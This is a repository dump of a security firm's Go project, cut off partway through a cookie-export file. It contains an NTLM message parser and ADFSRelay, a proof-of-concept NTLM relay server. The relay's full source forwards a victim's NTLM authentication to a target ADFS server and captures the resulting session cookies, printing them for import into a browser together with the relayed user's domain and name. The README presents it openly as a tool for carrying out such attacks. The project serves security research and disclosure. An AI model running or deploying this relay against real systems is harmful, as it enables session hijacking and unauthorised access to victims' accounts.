├── .github └── workflows │ └── release.yml ├── .gitignore ├── LICENSE ├── README.md ├── cmd ├── ADFSRelay │ └── ADFSRelay.go └── NTLMParse │ └── NTLMParse.go ├── go.mod ├── go.sum └── pkg ├── cookies ├── datatypes.go └── export.go └── ntlm ├── datatypes.go ├── debug.go ├── decoder.go ├── ntlm.go └── ntlm_test.go /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Praetorian Security, Inc. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | on: 16 | push: 17 | # Sequence of patterns matched against refs/tags 18 | tags: 19 | - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10 20 | 21 | jobs: 22 | build: 23 | runs-on: ubuntu-latest 24 | steps: 25 | - uses: actions/checkout@v2 26 | 27 | - name: Setup Go Build Environment 28 | uses: actions/setup-go@v2 29 | with: 30 | go-version: '1.18.3' 31 | 32 | - name: Install dependencies 33 | run: go mod download 34 | 35 | - name: Build ADFSRelay 36 | run: go build ./cmd/ADFSRelay 37 | 38 | - name: Build NTLMParse 39 | run: go build ./cmd/NTLMParse 40 | 41 | - name: Create Release 42 | uses: softprops/action-gh-release@v1 43 | with: 44 | files: | 45 | ADFSRelay 46 | NTLMParse 47 | env: 48 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 49 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | **/.DS_Store 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | 3 | This repository includes two utilities NTLMParse and ADFSRelay. NTLMParse is a utility for decoding base64-encoded NTLM messages and printing information about the underlying properties and fields within the message. Examining these NTLM messages is helpful when researching the behavior of a particular NTLM implementation. ADFSRelay is a proof of concept utility developed while researching the feasibility of NTLM relaying attacks targeting the ADFS service. This utility can be leveraged to perform NTLM relaying attacks targeting ADFS. We have also released a blog post discussing ADFS relaying attacks in more detail [1]. 4 | 5 | # NTLMParse Usage 6 | 7 | To use the NTLMParse utility you simply need to pass a Base64 encoded message to the application and it will decode the relevant fields and structures within the message. The snippet given below shows the expected output of NTLMParse when it is invoked: 8 | 9 | ``` 10 | ➜ ~ pbpaste | NTLMParse 11 | (ntlm.AUTHENTICATE_MESSAGE) { 12 | Signature: ([]uint8) (len=8 cap=585) { 13 | 00000000 4e 54 4c 4d 53 53 50 00 |NTLMSSP.| 14 | }, 15 | MessageType: (uint32) 3, 16 | LmChallengeResponseFields: (struct { LmChallengeResponseLen uint16; LmChallengeResponseMaxLen uint16; LmChallengeResponseBufferOffset uint32; LmChallengeResponse []uint8 }) { 17 | LmChallengeResponseLen: (uint16) 24, 18 | LmChallengeResponseMaxLen: (uint16) 24, 19 | LmChallengeResponseBufferOffset: (uint32) 160, 20 | LmChallengeResponse: ([]uint8) (len=24 cap=425) { 21 | 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 22 | 00000010 00 00 00 00 00 00 00 00 |........| 23 | } 24 | }, 25 | NtChallengeResponseFields: (struct { NtChallengeResponseLen uint16; NtChallengeResponseMaxLen uint16; NtChallengeResponseBufferOffset uint32; NtChallengeResponse []uint8; NTLMv2Response ntlm.NTLMv2_RESPONSE }) { 26 | NtChallengeResponseLen: (uint16) 384, 27 | NtChallengeResponseMaxLen: (uint16) 384, 28 | NtChallengeResponseBufferOffset: (uint32) 184, 29 | NtChallengeResponse: ([]uint8) (len=384 cap=401) { 30 | 00000000 30 eb 30 1f ab 4f 37 4d 79 59 28 73 38 51 19 3b |0.0..O7MyY(s8Q.;| 31 | 00000010 01 01 00 00 00 00 00 00 89 5f 6d 5c c8 72 d8 01 |........._m\.r..| 32 | 00000020 c9 74 65 45 b9 dd f7 35 00 00 00 00 02 00 0e 00 |.teE...5........| 33 | 00000030 43 00 4f 00 4e 00 54 00 4f 00 53 00 4f 00 01 00 |C.O.N.T.O.S.O...| 34 | 00000040 1e 00 57 00 49 00 4e 00 2d 00 46 00 43 00 47 00 |..W.I.N.-.F.C.G.| 35 | ``` 36 | 37 | Below is a sample NTLM AUTHENTICATE_MESSAGE message that can be used for testing: 38 | 39 | ` 40 | TlRMTVNTUAADAAAAGAAYAKAAAACAAYABuAAAABoAGgBYAAAAEAAQAHIAAAAeAB4AggAAABAAEAA4AgAAFYKI4goAYUoAAAAPqfU7N7/JSXVfIdKvlIvcQkMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwAQQBDAHIAbwBzAHMAZQByAEQARQBTAEsAVABPAFAALQBOAEkARAA0ADQANQBNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDrMB+rTzdNeVkoczhRGTsBAQAAAAAAAIlfbVzIctgByXRlRbnd9zUAAAAAAgAOAEMATwBOAFQATwBTAE8AAQAeAFcASQBOAC0ARgBDAEcAVQA0AEcASABPADAAOAA0AAQAGgBDAE8ATgBUAE8AUwBPAC4ATABPAEMAQQBMAAMAOgBXAEkATgAtAEYAQwBHAFUANABHAEgATwAwADgANAAuAEMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABQAaAEMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABwAIAIlfbVzIctgBBgAEAAIAAAAIADAAMAAAAAAAAAABAAAAACAAABQaOHb4nG5F2JL1tA5kL+nKQXJSJLDWljeBv+/XlPXpCgAQAON+EDXYnla0bjpwA8gfVEgJAD4ASABUAFQAUAAvAHMAdABzAC4AYwBvAG4AdABvAHMAbwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4ALgBjAG8AbQAAAAAAAAAAAKDXom0m65knt1NeZF1ZxxQ= 41 | ` 42 | 43 | # ADFSRelay Usage 44 | 45 | The single required argument for ADFSRelay is the URL of the ADFS server to target for an NTLM relaying attack. Three optional arguments are -debug to enable debugging mode, -port to define the port the service should listen on, and -help to display the help menu. An example help menu is given below: 46 | 47 | ``` 48 | ➜ ~ ADFSRelay -h 49 | Usage of ADFSRelay: 50 | -debug 51 | Enables debug output 52 | -help 53 | Show the help menu 54 | -port int 55 | The port the HTTP listener should listen on (default 8080) 56 | -targetSite string 57 | The ADFS site to target for the relaying attack (e.g. https://sts.contoso.com) 58 | ➜ ~ 59 | ``` 60 | 61 | # References 62 | [1] https://www.praetorian.com/blog/relaying-to-adfs-attacks/ 63 | -------------------------------------------------------------------------------- /cmd/ADFSRelay/ADFSRelay.go: -------------------------------------------------------------------------------- 1 | // Copyright 2022 Praetorian Security, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package main 16 | 17 | import ( 18 | "encoding/base64" 19 | "encoding/json" 20 | "flag" 21 | "fmt" 22 | "net/http" 23 | "net/url" 24 | "os" 25 | "strings" 26 | 27 | "github.com/davecgh/go-spew/spew" 28 | "github.com/google/uuid" 29 | "github.com/praetorian-in/ADFSRelay/pkg/cookies" 30 | "github.com/praetorian-in/ADFSRelay/pkg/ntlm" 31 | ) 32 | 33 | var ( 34 | targetSite string 35 | debug bool 36 | ) 37 | 38 | func ADFSRelayStateHandler(w http.ResponseWriter, r *http.Request) { 39 | 40 | clientRequestID := r.URL.Query().Get("client-request-id") 41 | 42 | MSISSamlRequest := "" 43 | for _, cookie := range r.Cookies() { 44 | if cookie.Name == "MSISSamlRequest" { 45 | MSISSamlRequest = cookie.Value 46 | } 47 | } 48 | 49 | if clientRequestID == "" { 50 | if MSISSamlRequest == "" { 51 | clientRequestID = uuid.New().String() 52 | 53 | MSISamlRequest, err := GetMSISAMLRequestCookie(clientRequestID) 54 | if err != nil { 55 | fmt.Printf("Error handling initial client request: %v\n", err) 56 | return 57 | } 58 | 59 | cookie := http.Cookie{Name: "MSISSamlRequest", Value: MSISamlRequest} 60 | http.SetCookie(w, &cookie) 61 | 62 | http.Redirect(w, r, "/?client-request-id="+url.QueryEscape(clientRequestID), http.StatusMovedPermanently) 63 | return 64 | } 65 | } 66 | 67 | authorizationHeaderValue, ok := r.Header["Authorization"] 68 | if !ok { 69 | w.Header().Add("WWW-Authenticate", "Negotiate") 70 | w.Header().Add("WWW-Authenticate", "NTLM") 71 | w.WriteHeader(http.StatusUnauthorized) 72 | return 73 | } 74 | 75 | authenticateHeaderValue := strings.Split(authorizationHeaderValue[0], " ") 76 | if len(authenticateHeaderValue) != 2 { 77 | fmt.Print("Error Authorization header should have two values separated by a space") 78 | return 79 | } 80 | 81 | if authenticateHeaderValue[0] != "Negotiate" && authenticateHeaderValue[0] != "NTLM" { 82 | fmt.Printf("Error Authorization header should begin with either NTLM or Negotiate") 83 | return 84 | } 85 | 86 | encodedMessage := authenticateHeaderValue[1] 87 | decodedString, err := base64.StdEncoding.DecodeString(encodedMessage) 88 | if err != nil { 89 | fmt.Println("Unable to decode base64 string, err: ", err) 90 | return 91 | } 92 | 93 | rawBytes := []byte(decodedString) 94 | ntlmMessage, err := ntlm.DecodeMessage(rawBytes) 95 | if err != nil { 96 | fmt.Println("Input is not a valid NTLM message, err: ", err) 97 | return 98 | } 99 | 100 | switch v := ntlmMessage.(type) { 101 | case *ntlm.NEGOTIATE_MESSAGE: 102 | 103 | if debug { 104 | spew.Dump(*v) 105 | } 106 | 107 | encodedChallengeMessage, err := SendNegotiateMessagetoADFS(clientRequestID, MSISSamlRequest, authorizationHeaderValue[0]) 108 | if err != nil { 109 | fmt.Println("Error getting challenge message from ADFS server, err: ", err) 110 | return 111 | } 112 | 113 | wwwAuthenticateValues := strings.Split(encodedChallengeMessage, " ") 114 | if len(wwwAuthenticateValues) != 2 { 115 | fmt.Println("Error Www-Authenticate header should have two values separated by a space") 116 | return 117 | } 118 | 119 | decodedString, err := base64.StdEncoding.DecodeString(wwwAuthenticateValues[1]) 120 | if err != nil { 121 | fmt.Println("Unable to decode base64 string, err: ", err) 122 | return 123 | } 124 | 125 | rawBytes := []byte(decodedString) 126 | challengeMessage, err := ntlm.DecodeMessage(rawBytes) 127 | if err != nil { 128 | fmt.Println("Input is not a valid NTLM message, err: ", err) 129 | return 130 | } 131 | 132 | fmt.Println("Got challenge message from the ADFS server, forwarding to the client") 133 | 134 | if debug { 135 | spew.Dump(challengeMessage) 136 | } 137 | 138 | w.Header().Add("WWW-Authenticate", encodedChallengeMessage) 139 | w.WriteHeader(http.StatusUnauthorized) 140 | 141 | case *ntlm.AUTHENTICATE_MESSAGE: 142 | 143 | if debug { 144 | spew.Dump(*v) 145 | } 146 | 147 | fmt.Println("Got an authenticate message from the client, forwarding to the ADFS server") 148 | returnedCookies, err := SendAuthenticateMessagetoADFS(clientRequestID, MSISSamlRequest, authorizationHeaderValue[0]) 149 | if err != nil { 150 | fmt.Println("error authenticating to ADFS server, err: ", err) 151 | } 152 | 153 | for _, avPairs := range v.NtChallengeResponseFields.NTLMv2Response.ClientChallenge.AvPairs { 154 | if avPairs.AvId == ntlm.MsvChannelBindings { 155 | fmt.Println("Client included a channel binding token in the AUTHENTICATE_MESSAGE") 156 | } 157 | } 158 | 159 | exportedCookies := cookies.ExportCookiesToCookieEditorFormat(returnedCookies) 160 | jsonData, err := json.Marshal(exportedCookies) 161 | if err != nil { 162 | fmt.Println("error marshalling cookies, err: ", err) 163 | } 164 | 165 | username := string(v.UserNameFields.UserName) 166 | domain := string(v.DomainNameFields.DomainName) 167 | 168 | fmt.Printf("Successfully authenticated to ADFS as user: %s\\%s\n", domain, username) 169 | fmt.Println("Session Cookies:", string(jsonData)) 170 | } 171 | } 172 | 173 | func SendNegotiateMessagetoADFS(clientRequestID string, MSISSamlRequest string, headerVal string) (string, error) { 174 | httpClient := http.Client{} 175 | 176 | apiUrl := targetSite + "/adfs/ls/wia?client-request-id=" + url.QueryEscape(clientRequestID) 177 | req, err := http.NewRequest("GET", apiUrl, nil) 178 | if err != nil { 179 | return "", fmt.Errorf("error creating ADFS POST request: %v", err) 180 | } 181 | req.Header.Set("User-Agent", "Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)") 182 | 183 | cookie := &http.Cookie{ 184 | Name: "MSISSamlRequest", 185 | Value: MSISSamlRequest, 186 | } 187 | req.AddCookie(cookie) 188 | 189 | req.Header.Add("Authorization", headerVal) 190 | r, err := httpClient.Do(req) 191 | if err != nil { 192 | return "", fmt.Errorf("error sending ADFS POST request: %v", err) 193 | } 194 | 195 | encodedChallengeMessage, ok := r.Header["Www-Authenticate"] 196 | if !ok { 197 | return "", fmt.Errorf("missing required Www-Authenticate header") 198 | } 199 | 200 | if debug { 201 | fmt.Printf("Www-Authenticate header is present with value %s\n", encodedChallengeMessage[0]) 202 | } 203 | 204 | split := strings.Split(encodedChallengeMessage[0], " ") 205 | if len(split) != 2 { 206 | return "", fmt.Errorf("error Www-Authenticate header should have two values separated by a space") 207 | } 208 | 209 | if split[0] != "Negotiate" && split[0] != "NTLM" { 210 | return "", fmt.Errorf("error Www-Authenticate header begin with either NTLM or Negotiate") 211 | } 212 | 213 | return encodedChallengeMessage[0], nil 214 | } 215 | 216 | func SendAuthenticateMessagetoADFS(clientRequestID string, MSISSamlRequest string, headerVal string) ([]*http.Cookie, error) { 217 | httpClient := http.Client{ 218 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 219 | return http.ErrUseLastResponse 220 | }, 221 | } 222 | 223 | apiUrl := targetSite + "/adfs/ls/wia?client-request-id=" + url.QueryEscape(clientRequestID) 224 | req, err := http.NewRequest("GET", apiUrl, nil) 225 | if err != nil { 226 | return nil, fmt.Errorf("error creating request: %v", err) 227 | } 228 | 229 | req.Header.Set("User-Agent", "Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)") 230 | 231 | cookie := &http.Cookie{ 232 | Name: "MSISSamlRequest", 233 | Value: MSISSamlRequest, 234 | } 235 | req.AddCookie(cookie) 236 | 237 | req.Header.Add("Authorization", headerVal) 238 | r, err := httpClient.Do(req) 239 | if err != nil { 240 | return nil, fmt.Errorf("error sending request: %v", err) 241 | 242 | } 243 | 244 | if r.StatusCode == 401 { 245 | return nil, fmt.Errorf("server returned 401 either the credentials are invalid or EPA is blocking authentication") 246 | } 247 | 248 | return r.Cookies(), nil 249 | } 250 | 251 | func GetMSISAMLRequestCookie(clientRequestID string) (string, error) { 252 | httpClient := http.Client{} 253 | 254 | form := url.Values{} 255 | form.Add("SignInIdpSite", "SignInIdpSite") 256 | form.Add("SignInSubmit", "Sign+in") 257 | form.Add("SingleSignOut", "SingleSignOut") 258 | 259 | apiUrl := targetSite + "/adfs/ls/idpinitiatedsignon.aspx?client-request-id=" + url.QueryEscape(clientRequestID) 260 | req, err := http.NewRequest("POST", apiUrl, strings.NewReader(form.Encode())) 261 | req.Header.Add("Content-Type", "application/x-www-form-urlencoded") 262 | if err != nil { 263 | return "", fmt.Errorf("error creating request: %v", err) 264 | } 265 | 266 | r, err := httpClient.Do(req) 267 | if err != nil { 268 | return "", fmt.Errorf("error sending request: %v", err) 269 | } 270 | 271 | MSISSamlRequest := "" 272 | for _, cookie := range r.Cookies() { 273 | if cookie.Name == "MSISSamlRequest" { 274 | MSISSamlRequest = cookie.Value 275 | } 276 | } 277 | 278 | if MSISSamlRequest == "" { 279 | return "", fmt.Errorf("expected MSISAMLRequest cookie from the server") 280 | } 281 | 282 | return MSISSamlRequest, nil 283 | } 284 | 285 | func main() { 286 | var err error 287 | 288 | var debugFlag bool 289 | var listenPortFlag int 290 | var targetSiteFlag string 291 | 292 | helpFlag := flag.Bool("help", false, "Show the help menu") 293 | 294 | flag.IntVar(&listenPortFlag, "port", 8080, "The port the HTTP listener should listen on") 295 | flag.StringVar(&targetSiteFlag, "targetSite", "", "The ADFS site to target for the relaying attack (e.g. https://sts.contoso.com)") 296 | flag.BoolVar(&debugFlag, "debug", false, "Enables debug output") 297 | 298 | if *helpFlag { 299 | flag.Usage() 300 | os.Exit(0) 301 | } 302 | 303 | flag.Parse() 304 | 305 | if *helpFlag { 306 | flag.Usage() 307 | return 308 | } 309 | 310 | if targetSiteFlag == "" { 311 | fmt.Println("The -targetSite parameter is required") 312 | flag.Usage() 313 | return 314 | } 315 | 316 | if listenPortFlag < 0 || listenPortFlag > 65535 { 317 | fmt.Println("Invalid listener port flag specified") 318 | return 319 | } 320 | 321 | listenPort := fmt.Sprintf(":%d", listenPortFlag) 322 | _, err = url.Parse(targetSiteFlag) 323 | if err != nil { 324 | fmt.Println("Invalid target site URL: ", err) 325 | } 326 | 327 | fmt.Println("Starting ADFS relaying targeting:", targetSiteFlag) 328 | 329 | targetSite = targetSiteFlag 330 | debug = debugFlag 331 | 332 | if debug { 333 | fmt.Println("Debug mode enabled") 334 | } 335 | 336 | http.HandleFunc("/", ADFSRelayStateHandler) 337 | err = http.ListenAndServe(listenPort, nil) 338 | if err != nil { 339 | fmt.Printf("error trying to listen on HTTP on port: %s, err: %v", listenPort, err) 340 | return 341 | } 342 | } 343 | -------------------------------------------------------------------------------- /cmd/NTLMParse/NTLMParse.go: -------------------------------------------------------------------------------- 1 | // Copyright 2022 Praetorian Security, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package main 16 | 17 | import ( 18 | "encoding/base64" 19 | "fmt" 20 | 21 | "github.com/davecgh/go-spew/spew" 22 | "github.com/praetorian-in/ADFSRelay/pkg/ntlm" 23 | ) 24 | 25 | func main() { 26 | var input string 27 | fmt.Scanln(&input) 28 | 29 | decodedString, err := base64.StdEncoding.DecodeString(input) 30 | if err != nil { 31 | fmt.Println("Unable to decode base64 string, err: ", err) 32 | return 33 | } 34 | 35 | rawBytes := []byte(decodedString) 36 | ntlmMessage, err := ntlm.DecodeMessage(rawBytes) 37 | if err != nil { 38 | fmt.Println("Input is not a valid NTLM message, err: ", err) 39 | return 40 | } 41 | 42 | switch v := ntlmMessage.(type) { 43 | case *ntlm.NEGOTIATE_MESSAGE: 44 | spew.Dump(*v) 45 | case *ntlm.CHALLENGE_MESSAGE: 46 | spew.Dump(*v) 47 | case *ntlm.AUTHENTICATE_MESSAGE: 48 | spew.Dump(*v) 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/praetorian-in/ADFSRelay 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/davecgh/go-spew v1.1.1 7 | github.com/google/uuid v1.3.0 8 | ) 9 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 2 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= 4 | github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 5 | -------------------------------------------------------------------------------- /pkg/cookies/datatypes.go: -------------------------------------------------------------------------------- 1 | // Copyright 2022 Praetorian Security, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package cookies 16 | 17 | type CookieEditorExportFormat struct { 18 | Name string `json:"name"` 19 | Value string `json:"value"` 20 | Domain string `json:"domain"` 21 | HostOnly bool `json:"hostOnly"` 22 | Path string `json:"path"` 23 | Secure bool `json:"secure"` 24 | HTTPOnly bool `json:"httpOnly"` 25 | SameSite string `json:"sameSite"` 26 | Session bool `json:"session"` 27 | FirstPartyDomain string `json:"firstPartyDomain"` 28 | PartitionKey interface{} `json:"partitionKey"` 29 | StoreID interface{} `json:"storeId"` 30 | } 31 | -------------------------------------------------------------------------------- /pkg/cookies/export.go: -------------------------------------------------------------------------------- 1 | // Copyright 2022 Praetorian Security, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | 